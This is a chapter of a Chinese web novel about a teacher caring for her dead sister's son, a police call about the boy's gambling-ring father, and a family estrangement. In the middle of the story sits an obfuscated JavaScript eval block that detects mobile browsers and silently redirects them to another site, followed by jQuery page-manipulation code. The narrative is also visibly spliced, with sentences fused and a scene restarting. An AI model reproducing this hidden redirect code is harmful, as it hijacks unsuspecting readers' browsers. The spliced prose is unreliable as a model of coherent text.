章市的天空像一块浸了水的铅板，低得几乎要砸到楼顶。
傍晚六点，路灯刚亮，雾霾却把光晕压成一团昏黄的脏棉花。
乔雪把钥匙插进锁孔，门一开，屋里那股单人公寓特有的冷清味扑面而来——一点油烟、一点洗衣液、一点再也散不掉的孤单。
她把保温桶放在桌上，掌心被提手勒出深深的红痕。今天高二（3）班的晚自习她替了同事，又被家长拉着谈了四十分钟孩子成绩，嗓子早干得冒烟。乔雪脱下外套，里面是洗得发白的米色线衣，领口一点毛边，像她这些年被生活磨得起了毛的日子。
林鹤羽坐在沙发上，作业本摊开，笔却横在旁边，一道题都没动。他瘦得厉害，校服裤在膝盖处塌出两道空荡荡的褶，像挂在衣架上的空壳。听见动静，他抬头，眼底一片青黑，眼白却红得吓人。
“还没吃吧？”乔雪尽量让声音轻一点，像在教室里安抚吵闹的学生，“我带了‘老街口’的糖醋小排，听你妈说你以前最爱这个。”
鹤羽没动，只把手机推到她面前，声音哑得不像十岁的孩子：“小雪阿姨，我妈……现在在哪儿？”
乔雪喉咙发紧。她拉开椅子坐下，椅子腿在地板上拖出一声刺耳的吱啦，像把屋里最后一点缓冲都刮没了。
“还在我们小时候住过的房间里。”她顿了一下，手指无意识地摩挲着保温桶的盖子乔雪揉了揉太阳穴，在餐桌旁的椅子上坐下，声音低沉：“你妈妈的手机呢？”
鹤羽正要将手机递过去，恰巧这时，铃声刺耳地响起，仿佛一把无形的利刃划破屋内的寂静。屏幕上跳出一串没有备注的陌生号码，乔雪皱眉接起，语气里带着几分狐疑：“喂，是哪位？有什么事？”
“我是东舟派出所的警察，你是林强的配偶吗？”电话那头的声音冷硬，充斥着公事公办的味道。
“不是，我是他配偶的妹妹，林强在警察局？”乔雪的手指不自觉收紧，眼底闪过一丝复杂的光。
“林强因涉嫌聚众赌博、开设赌场罪被我们局立案侦查，目前已被关押在看守所。案件细节还在调查中，我打电话是想让林强的配偶来所里一趟，羁押通知书需要送达家属。”那声音平板得像在宣读一份无关痛痒的文件。
乔雪深吸一口气，强压下翻涌的情绪：“我姐姐昨天凌晨刚过世，没办法过去。你们该怎么办怎么办，我不管。”她的声音平稳，却像绷紧的弦，随时可能断裂。
电话那头顿了顿，似乎没想到这番变故：“对于这件事我们很遗憾。他在看守所里也没提家里的情况，问什么都不回答。我们会把这件事告诉他，后续案件进展希望你配合。”
“我也得有这个功夫，我现在顾不上。你找他其他亲属吧。”乔雪说完，果断挂断电话，手指微微颤抖。
她盯着手机怔怔出神，仿佛那屏幕里藏着什么不可触碰的秘密。片刻后，她像是才想起鹤羽还在，语气从愤怒转为疑惑：“林强什么时候开赌场了？难道跟黄世仁有关？”
“黄世仁是谁？”鹤羽抬起头，声音低得像风中呢喃，眼底却闪过一丝好奇的光。
乔雪的脸色沉了下来，她靠在椅背上，目光飘向窗外渐暗的天色，像在回忆一段不愿触碰的往事：“不是好人。当初得知林强在为黄世仁办事时，我们就不希望他们在一起。他是你外公的学生，比我和你妈妈大几岁。那时候他家境贫寒，但成绩特别好，白天上课，晚上打三四份工，几乎不睡觉。你外公看他可怜，每月用自己的工资补贴他五百块，教科书、学费也都是你外公出的，希望他能考上好大学，改变命运。”
她顿了顿，眼神渐冷：“后来，他如愿考上了重点大学。我们全家都高兴坏了，还为他办了升学宴。你外公把他当亲儿子，说有什么困难就来找他，把他当亲爹就好。黄世仁听进去了，可他听进去的方式却让人寒心。按理说，上了大学的他已经是成年人，完全可以自己赚钱，但他开学第一个学期就跟你外公说生活费不够，能不能再给点。你外公没多想，就转给他了。”
“可他的开销越来越大，甚至超过了我和你妈妈的日常花销。你外公觉得不对劲，派他的同学去大学打听，看他是不是认真学习，那么多钱都花哪儿去了。那同学没打听出什么，黄世仁还当上了学生会会长，成绩依然很好，总是拿奖学金。”乔雪的声音里透出一丝嘲讽，像在笑这世事的荒唐。
“再后来，他要钱的口气越来越大，生活费从五百涨到一千，最后到三千。说什么竞选学生会、夏令营，俨然把自己当你外公的亲儿子。后来，我和你妈妈升学，也需要钱，你外公就以此为由断了黄世仁的生活费，嘱咐他靠自己挣钱。”乔雪说到这里，脸色渐渐发白，像被寒风吹透的枯叶。
她叹了口气，继续道：“谁知你外公断了钱后，黄世仁像是疯了一样，写举报信，说你外公在教职中诱导家长掏钱，还打压贫困学生，字里行间全是恶意。你外公因此被学校开除，名声尽毁。他依然不罢休，不断骚扰我们家。你外婆因此心脏受刺激，经常住院，你外公不堪其扰，搬了家，换了工作，才摆脱他。”
“黄世仁为什么锲而不舍报复外公？”鹤羽的声音低沉，带着几分探究，像个孩子在黑暗中摸索答案。
乔雪皱眉回忆：“我记得举报信里，他提到你外公歧视他，说仅仅因为他贫困。可实际上，是因为你外公发现他喜欢男人，是同性恋。高中时，你外公棒打鸳鸯，让他跟一个男同学断了往来。你外公思想守旧，没亲儿子，就真把黄世仁当自己的亲儿子，觉得男人就该娶妻生子，男男相恋有违世俗，令人不齿。我们没想到，他因此怀恨在心，这么多年纠缠不休。”
“那他上大学后，完全可以跟外公断绝往来。他明明有能力赚钱，为什么还好意思开口要钱？”鹤羽的声音里多了一丝疑惑，像一颗石子投入湖水，泛起微弱的涟漪。
“这事我们家当初也觉得蹊跷。几年后才知道，他大一就迷上了赌博，欠了一堆债，还用学生会会长的名头向学生收钱。东窗事发后，学校开除了他。后来我们就不知道他的下落，也不敢打听，怕再被他缠上。不知是巧合，还是他故意为之。几年后你爸爸林强作为乔梅的男朋友出现，我们才又跟黄世仁有了交集。”乔雪的语气里满是无奈，像风吹过荒原，带不走半点暖意。
鹤羽刚想问外公现在怎么样——
叮铃——
电话突然炸响。
那一刻，乔雪的手明显抖了一下。
她整个人僵在原地，呼吸都停了一拍。鹤羽看见她瞳孔骤然收缩，像被拉回某个再也不想重返的下午。
那是六年前，乔梅带着林强第一次登门那一天。
……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053395|194848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旧小区六楼，没电梯。夏天的热浪裹着油烟味从楼道里扑上来。乔雪刚下班，拎着两袋超市打折菜，钥匙还没插进锁孔，就听见屋里传来母亲压得极低的怒斥。
“乔梅，你疯了？他算什么东西，也配得上你？”
乔雪推门进去，客厅里剑拔弩张。
乔梅在门口站着，背挺得很直，像护着一只幼崽的母兽。林强站在她身后半步，低着头，不敢与人对视，额角全是汗。外公坐在沙发正中，血压计的袖带还挂在胳膊上，脸涨得通红；外婆捂着心口站在厨房门口，眼泪一串串往下掉。
乔梅的声音却平静得吓人：“爸，妈，小雪，我今天把话撂这儿。林强是我男人，我不求你们祝福，只求你们别逼我。”
外公气得手抖，抄起茶几上的杂志就砸过去，杂志在空中翻开，重重摔在林强脚边。
“你丢不丢人?你知不知道他是谁的人？”外公的声音嘶哑，“他给黄世仁看场子！黄世仁！你当我们家这几年还没被别人笑话够吗？”
林强猛地抬头，喉结滚动，却一个字也说不出。
乔梅侧过身，把林强挡在身后。那一刻她整个人都在发光，眼里是乔雪从未见过的决绝。
“爸，黄世仁是黄世仁，林强是林强。他早就跟黄世仁划清界限了，他现在干的是正经物流……”
“正经物流？要不是我还有学生见过黄世仁，我就信了你的鬼话。”外公冷笑一声，从抽屉里甩出一叠照片，哗啦啦撒在茶几上。
照片里，林强穿着黑色制服站在一家地下赌场门口，手里拎着对讲机，旁边站着笑得一脸春风的黄世仁。时间戳是上个月。
“你告诉我，这叫划清界限？”
乔梅的嘴唇瞬间失了血色，却还是死死咬着牙：“那是以前……”
“以前？”外婆终于哭出声，“梅梅，你是中科院最年轻的研究员！三十一岁就拿了国家自然科学奖！多少人排着队追你！你为了这么个烂赌鬼……”
“我爱他。”乔梅声音不大，却像刀子一样把所有争吵劈开，“我爱他，也愿意跟他一起把债还清，好好过我们的日子。”
外公盯着她看了很久，忽然颓然靠进沙发，像一夜之间被抽干了力气。
“那就断绝关系。”他声音干裂，“从今天起，你要么跟他走，要么留下做我的女儿。二选一。”
屋子里安静得能听见血压计滴滴作响。
乔梅的眼泪终于掉下来，却笑了一下，像是意料之中的释然。
乔梅没有犹豫地回答：“爸，对不起。我选他。”
她转身，拉起林强的手，头也不回地往外走。
经过乔雪身边时，她停了一下，低声说：“小雪，帮我跟爸妈说声对不起。还有……照顾好他们。”
门砰地关上。
外公盯着那扇门，整整一天没再说一句话。晚上，他一个人在阳台抽烟，烟灰掉了一地，像一场灰色的雪。
三个月后，乔梅的结婚证照片发到家庭群里，附了一句话：
“爸，妈，小雪，我们有一个孩子了，我会幸福。”
外公把乔梅移出了群。
……
记忆像被硬生生扯断的胶片，乔雪猛地回神。
她的脸以肉眼可见的速度变得惨白。
她咬着唇接起电话。